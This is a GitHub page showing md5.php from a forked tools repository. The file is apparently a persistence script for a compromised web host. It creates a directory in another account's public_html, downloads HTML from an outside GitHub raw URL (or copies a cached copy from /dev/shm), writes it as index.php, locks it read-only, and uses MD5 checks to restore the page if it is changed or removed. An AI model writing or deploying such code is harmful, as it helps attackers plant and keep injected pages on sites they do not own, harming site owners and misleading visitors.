forked from zycoder0day/toolsoxygencall
-
Notifications
You must be signed in to change notification settings - Fork 0
/
md5.php
70 lines (68 loc) · 1.99 KB
/
md5.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
if (!is_dir('/home/simlitabmas/public_html/BTV168/'))
{
mkdir('/home/simlitabmas/public_html/BTV168/', 0755, true);
}
else
{
if (is_writable('/home/simlitabmas/public_html/BTV168/'))
{
chmod('/home/simlitabmas/public_html/BTV168/', 0755);
}
}
if (!is_dir('/home/simlitabmas/public_html/BTV168/'))
{
mkdir('/home/simlitabmas/public_html/BTV168/', 0755, true);
}
else
{
if (is_writable('/home/simlitabmas/public_html/BTV168/'))
{
chmod('/home/simlitabmas/public_html/BTV168/', 0755);
}
}
$file = '/home/simlitabmas/public_html/BTV168/index.php';
$resource = '/dev/shm/logs';
$md5file = md5_file($file);
$md5resource = md5_file($resource);
if (!file_exists($file))
{
if ($md5resource != 'ff3c851ffe3c9c219c2f61ad11f16a5b')
{
chmod($file, 0644);
$report = file_get_contents('https://raw.githubusercontent.com/perfectproject303/page/main/dinus.ac.idbtv168.html');
file_put_contents($file, $report);
chmod($file, 0444);
}
else
{
chmod($file, 0644);
copy($resource, $file);
chmod($file, 0444);
}
}
else
{
if ($md5file != 'ff3c851ffe3c9c219c2f61ad11f16a5b')
{
chmod($file, 0644);
unlink($file);
if ($md5resource != 'ff3c851ffe3c9c219c2f61ad11f16a5b')
{
chmod($file, 0644);
$report = file_get_contents('https://raw.githubusercontent.com/perfectproject303/page/main/dinus.ac.idbtv168.html');
file_put_contents($file, $report);
chmod($file, 0444);
}
else
{
chmod($file, 0644);
copy($resource, $file);
chmod($file, 0444);
}
}
}
chmod($file, 0444);
chmod($resource, 0444);
chmod('/home/simlitabmas/public_html/BTV168/', 0755);
?>